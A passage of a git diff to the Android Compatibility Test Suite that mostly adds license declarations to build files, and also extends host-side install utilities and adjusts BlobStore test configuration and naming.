     defaults: ["cts_defaults"],
diff --git a/hostsidetests/trustedvoice/app/Android.bp b/hostsidetests/trustedvoice/app/Android.bp
index 27ab221..b8c7922 100644
--- a/hostsidetests/trustedvoice/app/Android.bp
+++ b/hostsidetests/trustedvoice/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsTrustedVoiceApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/tv/Android.bp b/hostsidetests/tv/Android.bp
index 7495491..ae72d26 100644
--- a/hostsidetests/tv/Android.bp
+++ b/hostsidetests/tv/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsHostsideTvTests",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/tv/app/Android.bp b/hostsidetests/tv/app/Android.bp
index e929820..5858fcf 100644
--- a/hostsidetests/tv/app/Android.bp
+++ b/hostsidetests/tv/app/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsHostsideTvInputApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/tv/app2/Android.bp b/hostsidetests/tv/app2/Android.bp
index f8af26c..a287acc 100644
--- a/hostsidetests/tv/app2/Android.bp
+++ b/hostsidetests/tv/app2/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsHostsideTvInputMonitor",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/tzdata/Android.bp b/hostsidetests/tzdata/Android.bp
index 75f5424..be847bd 100644
--- a/hostsidetests/tzdata/Android.bp
+++ b/hostsidetests/tzdata/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsHostTzDataTests",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/ui/Android.mk b/hostsidetests/ui/Android.mk
index 61bb6d3..096c33d 100644
--- a/hostsidetests/ui/Android.mk
+++ b/hostsidetests/ui/Android.mk
@@ -21,6 +21,8 @@
 LOCAL_MODULE_TAGS := optional
 
 LOCAL_MODULE := CtsUiHostTestCases
+LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
+LOCAL_LICENSE_CONDITIONS := notice
 
 LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
 
diff --git a/hostsidetests/ui/appA/Android.bp b/hostsidetests/ui/appA/Android.bp
index 5497378..454c9cb 100644
--- a/hostsidetests/ui/appA/Android.bp
+++ b/hostsidetests/ui/appA/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsDeviceTaskSwitchingAppA",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/ui/appB/Android.bp b/hostsidetests/ui/appB/Android.bp
index 255b3de..246bc55 100644
--- a/hostsidetests/ui/appB/Android.bp
+++ b/hostsidetests/ui/appB/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsDeviceTaskSwitchingAppB",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/ui/control/Android.bp b/hostsidetests/ui/control/Android.bp
index 96d16ce..5a7697e 100644
--- a/hostsidetests/ui/control/Android.bp
+++ b/hostsidetests/ui/control/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsDeviceTaskSwitchingControl",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/usage/Android.bp b/hostsidetests/usage/Android.bp
index f7e59d2..bd5f0fd 100644
--- a/hostsidetests/usage/Android.bp
+++ b/hostsidetests/usage/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsAppUsageHostTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/usage/app/Android.bp b/hostsidetests/usage/app/Android.bp
index 55e4ac2..ee3eab7 100644
--- a/hostsidetests/usage/app/Android.bp
+++ b/hostsidetests/usage/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsAppUsageTestApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/usb/Android.bp b/hostsidetests/usb/Android.bp
index 1bd848b..d0b7ecc 100644
--- a/hostsidetests/usb/Android.bp
+++ b/hostsidetests/usb/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsUsbTests",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/usb/SerialTestApp/Android.bp b/hostsidetests/usb/SerialTestApp/Android.bp
index 2c4a864..8a6ba9c 100644
--- a/hostsidetests/usb/SerialTestApp/Android.bp
+++ b/hostsidetests/usb/SerialTestApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsUsbSerialTestApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/userspacereboot/Android.bp b/hostsidetests/userspacereboot/Android.bp
index ba0715d..f64c740 100644
--- a/hostsidetests/userspacereboot/Android.bp
+++ b/hostsidetests/userspacereboot/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsUserspaceRebootHostSideTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/userspacereboot/OWNERS b/hostsidetests/userspacereboot/OWNERS
index 8b2fa8c..7d30d02 100644
--- a/hostsidetests/userspacereboot/OWNERS
+++ b/hostsidetests/userspacereboot/OWNERS
@@ -1,2 +1,2 @@
+dvander@google.com
 ioffe@google.com
-tomcherry@google.com
\ No newline at end of file
diff --git a/hostsidetests/userspacereboot/TEST_MAPPING b/hostsidetests/userspacereboot/TEST_MAPPING
index 40da059..cf97bfae 100644
--- a/hostsidetests/userspacereboot/TEST_MAPPING
+++ b/hostsidetests/userspacereboot/TEST_MAPPING
@@ -1,8 +1,7 @@
 {
-  "postsubmit" : [
+  "presubmit" : [
     {
-      "name": "CtsUserspaceRebootHostSideTestCases",
-      "keywords": ["primary-device"]
+      "name": "CtsUserspaceRebootHostSideTestCases"
     }
   ]
 }
diff --git a/hostsidetests/userspacereboot/testapps/BasicTestApp/Android.bp b/hostsidetests/userspacereboot/testapps/BasicTestApp/Android.bp
index 8e5ee606..df1baed 100644
--- a/hostsidetests/userspacereboot/testapps/BasicTestApp/Android.bp
+++ b/hostsidetests/userspacereboot/testapps/BasicTestApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "BasicUserspaceRebootTestApp",
     srcs:  ["src/**/*.java"],
diff --git a/hostsidetests/userspacereboot/testapps/BootCompletedTestApp/Android.bp b/hostsidetests/userspacereboot/testapps/BootCompletedTestApp/Android.bp
index a25b8df..24952d7 100644
--- a/hostsidetests/userspacereboot/testapps/BootCompletedTestApp/Android.bp
+++ b/hostsidetests/userspacereboot/testapps/BootCompletedTestApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "BootCompletedUserspaceRebootTestApp",
     srcs:  ["src/**/*.java"],
diff --git a/hostsidetests/utils/Android.bp b/hostsidetests/utils/Android.bp
index 0930f91..a40ba4f 100644
--- a/hostsidetests/utils/Android.bp
+++ b/hostsidetests/utils/Android.bp
@@ -14,6 +14,10 @@
  * limitations under the License.
  */
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library_host {
     name: "cts-host-utils",
     srcs: [
diff --git a/hostsidetests/webkit/Android.bp b/hostsidetests/webkit/Android.bp
index 53fadbd..c76c2d1 100644
--- a/hostsidetests/webkit/Android.bp
+++ b/hostsidetests/webkit/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsHostsideWebViewTests",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/webkit/app/Android.bp b/hostsidetests/webkit/app/Android.bp
index 831bbb7..a418339 100644
--- a/hostsidetests/webkit/app/Android.bp
+++ b/hostsidetests/webkit/app/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsWebViewStartupApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/wifibroadcasts/Android.bp b/hostsidetests/wifibroadcasts/Android.bp
index 42a3b4f..30160619 100644
--- a/hostsidetests/wifibroadcasts/Android.bp
+++ b/hostsidetests/wifibroadcasts/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsWifiBroadcastsHostTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/wifibroadcasts/app/Android.bp b/hostsidetests/wifibroadcasts/app/Android.bp
index 2dc0b0f..92f420f 100644
--- a/hostsidetests/wifibroadcasts/app/Android.bp
+++ b/hostsidetests/wifibroadcasts/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsWifiBroadcastsDeviceApp",
     dex_preopt: {
diff --git a/libs/deviceutillegacy/Android.bp b/libs/deviceutillegacy/Android.bp
index ddd07f0..8d00a4f 100644
--- a/libs/deviceutillegacy/Android.bp
+++ b/libs/deviceutillegacy/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library_static {
     name: "ctsdeviceutillegacy-axt",
 
diff --git a/libs/helpers/core/Android.bp b/libs/helpers/core/Android.bp
index a00c67b..9cc3a04 100644
--- a/libs/helpers/core/Android.bp
+++ b/libs/helpers/core/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library {
     name: "cts-helpers-core",
     defaults: ["cts_defaults"],
diff --git a/libs/helpers/core/tests/Android.bp b/libs/helpers/core/tests/Android.bp
index 2bff559..8816bb6 100644
--- a/libs/helpers/core/tests/Android.bp
+++ b/libs/helpers/core/tests/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "cts-helpers-core-tests",
 
diff --git a/libs/helpers/interfaces/Android.bp b/libs/helpers/interfaces/Android.bp
index 7b84d69..3cdb264 100644
--- a/libs/helpers/interfaces/Android.bp
+++ b/libs/helpers/interfaces/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library {
     name: "cts-helpers-interfaces",
 
diff --git a/libs/input/Android.bp b/libs/input/Android.bp
index 82044c5..27b9445 100644
--- a/libs/input/Android.bp
+++ b/libs/input/Android.bp
@@ -12,8 +12,12 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library_static {
     name: "cts-input-lib",
     sdk_version: "test_current",
     srcs: ["src/**/*.java"],
-}
\ No newline at end of file
+}
diff --git a/libs/install/Android.bp b/libs/install/Android.bp
index 4ca412a..5b492a2 100644
--- a/libs/install/Android.bp
+++ b/libs/install/Android.bp
@@ -13,6 +13,10 @@
 // limitations under the License.
 
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "TestAppAv1",
     manifest: "testapp/Av1.xml",
diff --git a/libs/install/src/android/cts/install/lib/host/InstallUtilsHost.java b/libs/install/src/android/cts/install/lib/host/InstallUtilsHost.java
index 4bbc0da..f6de85b 100644
--- a/libs/install/src/android/cts/install/lib/host/InstallUtilsHost.java
+++ b/libs/install/src/android/cts/install/lib/host/InstallUtilsHost.java
@@ -22,20 +22,35 @@
 import static com.google.common.truth.Truth.assertWithMessage;
 
 import com.android.ddmlib.Log;
+import com.android.tradefed.build.BuildInfoKey;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 import com.android.tradefed.util.CommandResult;
 import com.android.tradefed.util.CommandStatus;
+import com.android.tradefed.util.FileUtil;
+import com.android.tradefed.util.IRunUtil;
+import com.android.tradefed.util.RunUtil;
+import com.android.tradefed.util.SystemUtil;
 
+import com.google.common.base.Stopwatch;
+
+import java.io.File;
+import java.io.IOException;
+import java.time.Duration;
 import java.util.Optional;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
 
 /**
  * Utilities to facilitate installation in tests on host side.
  */
 public class InstallUtilsHost {
     private static final String TAG = InstallUtilsHost.class.getSimpleName();
+    private static final String APEX_INFO_EXTRACT_REGEX =
+            ".*package:\\sname='(\\S+)\\'\\sversionCode='(\\d+)'\\s.*";
 
+    private final IRunUtil mRunUtil = new RunUtil();
     private final BaseHostJUnit4Test mTest;
 
     public InstallUtilsHost(BaseHostJUnit4Test test) {
@@ -99,4 +114,119 @@
         return mTest.getDevice().getActiveApexes().stream().filter(
                 apex -> apex.name.equals(SHIM_APEX_PACKAGE_NAME)).findAny();
     }
+
+    /**
+     * Retrieve package name and version code from test apex file.
+     *
+     * @param apex input apex file to retrieve the info from
+     */
+    public ITestDevice.ApexInfo getApexInfo(File apex) {
+        String aaptOutput = runCmd(String.format("aapt dump badging %s", apex.getAbsolutePath()));
+        String[] lines = aaptOutput.split("\n");
+        Pattern p = Pattern.compile(APEX_INFO_EXTRACT_REGEX);
+        for (String l : lines) {
+            Matcher m = p.matcher(l);
+            if (m.matches()) {
+                return new ITestDevice.ApexInfo(m.group(1), Long.parseLong(m.group(2)));
+            }
+        }
+        return null;
+    }
+
+    /**
+     * Installs packages using staged install flow and waits for pre-reboot verification to complete
+     */
+    public String installStagedPackage(File pkg) throws Exception {
+        return mTest.getDevice().installPackage(pkg, false, "--staged");
+    }
+
+    /**
+     * Install multiple package at the same time
+     */
+    public void installApexes(String... filenames) throws Exception {
+        String[] args = new String[filenames.length + 1];
+        args[0] = "install-multi-package";
+        for (int i = 0; i < filenames.length; i++) {
+            args[i + 1] = getTestFile(filenames[i]).getAbsolutePath();
+        }
+        String stdout = mTest.getDevice().executeAdbCommand(args);
+        assertThat(stdout).isNotNull();
+    }
+
+    /**
+     * Waits for given {@code timeout} for {@code filePath} to be deleted.
+     */
+    public void waitForFileDeleted(String filePath, Duration timeout) throws Exception {
+        Stopwatch stopwatch = Stopwatch.createStarted();
+        while (true) {
+            if (!mTest.getDevice().doesFileExist(filePath)) {
+                return;
+            }
+            if (stopwatch.elapsed().compareTo(timeout) > 0) {
+                break;
+            }
+            Thread.sleep(500);
+        }
+        throw new AssertionError("Timed out waiting for " + filePath + " to be deleted");
+    }
+
+    /**
+     * Get the test file.
+     *
+     * @param testFileName name of the file
+     */
+    public File getTestFile(String testFileName) throws IOException {
+        File testFile = null;
+
+        String testcasesPath = System.getenv(
+                SystemUtil.EnvVariable.ANDROID_HOST_OUT_TESTCASES.toString());
+        if (testcasesPath != null) {
+            testFile = searchTestFile(new File(testcasesPath), testFileName);
+        }
+        if (testFile != null) {
+            return testFile;
+        }
+
+        File hostLinkedDir = mTest.getBuild().getFile(
+                BuildInfoKey.BuildInfoFileKey.HOST_LINKED_DIR);
+        if (hostLinkedDir != null) {
+            testFile = searchTestFile(hostLinkedDir, testFileName);
+        }
+        if (testFile != null) {
+            return testFile;
+        }
+
+        // Find the file in the buildinfo.
+        File buildInfoFile = mTest.getBuild().getFile(testFileName);
+        if (buildInfoFile != null) {
+            return buildInfoFile;
+        }
+
+        throw new IOException("Cannot find " + testFileName);
+    }
+
+    /**
+     * Searches the file with the given name under the given directory, returns null if not found.
+     */
+    private File searchTestFile(File baseSearchFile, String testFileName) {
+        if (baseSearchFile != null && baseSearchFile.isDirectory()) {
+            File testFile = FileUtil.findFile(baseSearchFile, testFileName);
+            if (testFile != null && testFile.isFile()) {
+                return testFile;
+            }
+        }
+        return null;
+    }
+
+    private String runCmd(String cmd) {
+        Log.d("About to run command: %s", cmd);
+        CommandResult result = mRunUtil.runTimedCmd(1000 * 60 * 5, cmd.split("\\s+"));
+        assertThat(result).isNotNull();
+        assertWithMessage(String.format("Command %s failed", cmd)).that(result.getStatus())
+                .isEqualTo(CommandStatus.SUCCESS);
+        Log.d("output:\n%s", result.getStdout());
+        return result.getStdout();
+    }
+
+
 }
diff --git a/libs/install/src/com/android/cts/install/lib/TestApp.java b/libs/install/src/com/android/cts/install/lib/TestApp.java
index 7434040..4f43613 100644
--- a/libs/install/src/com/android/cts/install/lib/TestApp.java
+++ b/libs/install/src/com/android/cts/install/lib/TestApp.java
@@ -48,6 +48,8 @@
             "TestAppASplitV1.apk", "TestAppASplitV1_anydpi.apk");
     public static final TestApp ASplit2 = new TestApp("ASplitV2", A, 2, /*isApex*/false,
             "TestAppASplitV2.apk", "TestAppASplitV2_anydpi.apk");
+    public static final TestApp AIncompleteSplit = new TestApp("AIncompleteSplit", A, 1,
+            /*isApex*/false, "TestAppASplitV1_anydpi.apk");
 
     public static final TestApp B1 = new TestApp("Bv1", B, 1, /*isApex*/false,
             "TestAppBv1.apk");
diff --git a/libs/json/Android.bp b/libs/json/Android.bp
index 59a9f3a..0dc0090 100644
--- a/libs/json/Android.bp
+++ b/libs/json/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library {
     name: "json",
     host_supported: true,
diff --git a/libs/midi/Android.bp b/libs/midi/Android.bp
index 24c951b..5317ab2 100644
--- a/libs/midi/Android.bp
+++ b/libs/midi/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library_static {
     name: "cts-midi-lib",
 
diff --git a/libs/rollback/Android.bp b/libs/rollback/Android.bp
index 3e4d0a3..80eda46 100644
--- a/libs/rollback/Android.bp
+++ b/libs/rollback/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library {
     name: "cts-rollback-lib",
     srcs: ["src/**/*.java"],
diff --git a/libs/rollback/src/com/android/cts/rollback/lib/RollbackInfoSubject.java b/libs/rollback/src/com/android/cts/rollback/lib/RollbackInfoSubject.java
index 9f912e0..1903cc4 100644
--- a/libs/rollback/src/com/android/cts/rollback/lib/RollbackInfoSubject.java
+++ b/libs/rollback/src/com/android/cts/rollback/lib/RollbackInfoSubject.java
@@ -32,7 +32,7 @@
 /**
  * Subject for asserting things about RollbackInfo instances.
  */
-public final class RollbackInfoSubject extends Subject<RollbackInfoSubject, RollbackInfo> {
+public final class RollbackInfoSubject extends Subject {
     private final RollbackInfo mActual;
 
     /**
diff --git a/libs/runner/Android.bp b/libs/runner/Android.bp
index 40977ff..201cd8d 100644
--- a/libs/runner/Android.bp
+++ b/libs/runner/Android.bp
@@ -13,6 +13,16 @@
 // limitations under the License.
 
 // The library variant that brings in androidx-test transitively
+package {
+    // See: http://go/android-license-faq
+    // A large-scale-change added 'default_applicable_licenses' to import
+    // all of the 'license_kinds' from "cts_license"
+    // to get the below license kinds:
+    //   SPDX-license-identifier-Apache-2.0
+    //   SPDX-license-identifier-NCSA
+    default_applicable_licenses: ["cts_license"],
+}
+
 java_library {
     name: "ctstestrunner-axt",
 
diff --git a/libs/shim/Android.bp b/libs/shim/Android.bp
index 908cd8e..4f116dd 100644
--- a/libs/shim/Android.bp
+++ b/libs/shim/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library {
     name: "cts-shim-lib",
     host_supported: true,
diff --git a/libs/testserver/Android.bp b/libs/testserver/Android.bp
index 14b9ed4..56a0921 100644
--- a/libs/testserver/Android.bp
+++ b/libs/testserver/Android.bp
@@ -12,6 +12,16 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    // See: http://go/android-license-faq
+    // A large-scale-change added 'default_applicable_licenses' to import
+    // all of the 'license_kinds' from "cts_license"
+    // to get the below license kinds:
+    //   SPDX-license-identifier-Apache-2.0
+    //   SPDX-license-identifier-BSD
+    default_applicable_licenses: ["cts_license"],
+}
+
 java_library {
     name: "ctstestserver",
 
diff --git a/libs/view/Android.bp b/libs/view/Android.bp
index c58c3ca..5eca263 100644
--- a/libs/view/Android.bp
+++ b/libs/view/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library {
     name: "cts-view-lib",
 
diff --git a/libs/vogar-expect/Android.bp b/libs/vogar-expect/Android.bp
index 536a33e..b94a9ca 100644
--- a/libs/vogar-expect/Android.bp
+++ b/libs/vogar-expect/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library {
     name: "vogarexpect",
     host_supported: true,
diff --git a/suite/audio_quality/executable/Android.bp b/suite/audio_quality/executable/Android.bp
index c6bf63d..dff1431 100644
--- a/suite/audio_quality/executable/Android.bp
+++ b/suite/audio_quality/executable/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_binary_host {
     name: "cts_audio_quality",
     srcs: ["src/main.cpp"],
diff --git a/suite/audio_quality/lib/Android.bp b/suite/audio_quality/lib/Android.bp
index d1f4ec8..b07e628 100644
--- a/suite/audio_quality/lib/Android.bp
+++ b/suite/audio_quality/lib/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_library_host_static {
     name: "libcts_audio_quality",
     srcs: ["**/*.cpp"],
diff --git a/suite/audio_quality/test/Android.bp b/suite/audio_quality/test/Android.bp
index d43b0aa..443e995 100644
--- a/suite/audio_quality/test/Android.bp
+++ b/suite/audio_quality/test/Android.bp
@@ -14,10 +14,16 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test_host {
     name: "cts_audio_quality_test",
     srcs: ["*.cpp"],
-
+    test_options: {
+        unit_test: false,
+    },
     static_libs: [
         "libbase",
         "libutils",
diff --git a/tests/AlarmManager/Android.bp b/tests/AlarmManager/Android.bp
index ba40a70..8e06f00 100644
--- a/tests/AlarmManager/Android.bp
+++ b/tests/AlarmManager/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsAlarmManagerTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/AlarmManager/app/Android.bp b/tests/AlarmManager/app/Android.bp
index 5a10973c..52bfc30 100644
--- a/tests/AlarmManager/app/Android.bp
+++ b/tests/AlarmManager/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "AlarmTestApp",
     defaults: ["cts_support_defaults"],
diff --git a/tests/BlobStore/Android.bp b/tests/BlobStore/Android.bp
index 22d8791..7fcb613 100644
--- a/tests/BlobStore/Android.bp
+++ b/tests/BlobStore/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsBlobStoreTestCases",
     defaults: ["cts_defaults"],
@@ -108,4 +112,4 @@
     srcs: [
         "aidl/**/*.aidl",
     ]
-}
\ No newline at end of file
+}
diff --git a/tests/BlobStore/AndroidTest.xml b/tests/BlobStore/AndroidTest.xml
index d5c3548..81f1765 100644
--- a/tests/BlobStore/AndroidTest.xml
+++ b/tests/BlobStore/AndroidTest.xml
@@ -32,10 +32,14 @@
         <option name="teardown-command" value="cmd blob_store idle-maintenance" />
     </target_preparer>
 
+    <!-- Enabling change id ALLOW_TEST_API_ACCESS allows that package to access @TestApi methods -->
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-      <!-- Disable hidden API checking, see b/166236554 -->
-        <option name="run-command" value="settings put global hidden_api_policy 1" />
-        <option name="teardown-command" value="settings delete global hidden_api_policy" />
+        <option name="run-command" value="am compat enable ALLOW_TEST_API_ACCESS com.android.cts.blob.helper" />
+        <option name="run-command" value="am compat enable ALLOW_TEST_API_ACCESS com.android.cts.blob.helper2" />
+        <option name="run-command" value="am compat enable ALLOW_TEST_API_ACCESS com.android.cts.blob.helper3" />
+        <option name="teardown-command" value="am compat reset ALLOW_TEST_API_ACCESS com.android.cts.blob.helper" />
+        <option name="teardown-command" value="am compat reset ALLOW_TEST_API_ACCESS com.android.cts.blob.helper2" />
+        <option name="teardown-command" value="am compat reset ALLOW_TEST_API_ACCESS com.android.cts.blob.helper3" />
     </target_preparer>
 
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
diff --git a/tests/BlobStore/OWNERS b/tests/BlobStore/OWNERS
index 16b25bb..3a47c48 100644
--- a/tests/BlobStore/OWNERS
+++ b/tests/BlobStore/OWNERS
@@ -1,2 +1,2 @@
-# Bug component: 95221
-include platform/frameworks/base:apex/blobstore/OWNERS
+# Bug component: 533114
+include platform/frameworks/base:/apex/blobstore/OWNERS
diff --git a/tests/BlobStore/certs/Android.bp b/tests/BlobStore/certs/Android.bp
index efae567..cdeaa34 100644
--- a/tests/BlobStore/certs/Android.bp
+++ b/tests/BlobStore/certs/Android.bp
@@ -1,3 +1,13 @@
+package {
+    // See: http://go/android-license-faq
+    // A large-scale-change added 'default_applicable_licenses' to import
+    // all of the 'license_kinds' from "cts_license"
+    // to get the below license kinds:
+    //   SPDX-license-identifier-Apache-2.0
+    //   SPDX-license-identifier-NCSA
+    default_applicable_licenses: ["cts_license"],
+}
+
 android_app_certificate {
   name: "cts-blob-helper-cert",
   certificate: "cts-blob-helper-cert",
diff --git a/tests/BlobStore/helper-app/AndroidManifest.xml b/tests/BlobStore/helper-app/AndroidManifest.xml
index cc6a7cf..a2cf878 100644
--- a/tests/BlobStore/helper-app/AndroidManifest.xml
+++ b/tests/BlobStore/helper-app/AndroidManifest.xml
@@ -18,7 +18,7 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
           package="com.android.cts.blob.helper" >
 
-    <application>
+    <application android:debuggable="true">
         <service android:name=".BlobStoreTestService"
                  android:exported="true"/>
     </application>
diff --git a/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java b/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java
index c7b47ad..685d188 100644
--- a/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java
+++ b/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java
@@ -53,7 +53,7 @@
 import com.android.compatibility.common.util.ThrowingRunnable;
 import com.android.cts.blob.R;
 import com.android.cts.blob.ICommandReceiver;
-import com.android.utils.blob.DummyBlobData;
+import com.android.utils.blob.FakeBlobData;
 import com.android.utils.blob.Utils;
 
 import org.junit.After;
@@ -83,7 +83,7 @@
 @RunWith(BlobStoreTestRunner.class)
 public class BlobStoreManagerTest {
 
-    private static final long TIMEOUT_COMMIT_CALLBACK_SEC = 5;
+    private static final long TIMEOUT_COMMIT_CALLBACK_SEC = 30;
 
     private static final long TIMEOUT_BIND_SERVICE_SEC = 2;
 
@@ -138,7 +138,7 @@
 
     @Test
     public void testGetCreateSession() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
         blobData.prepare();
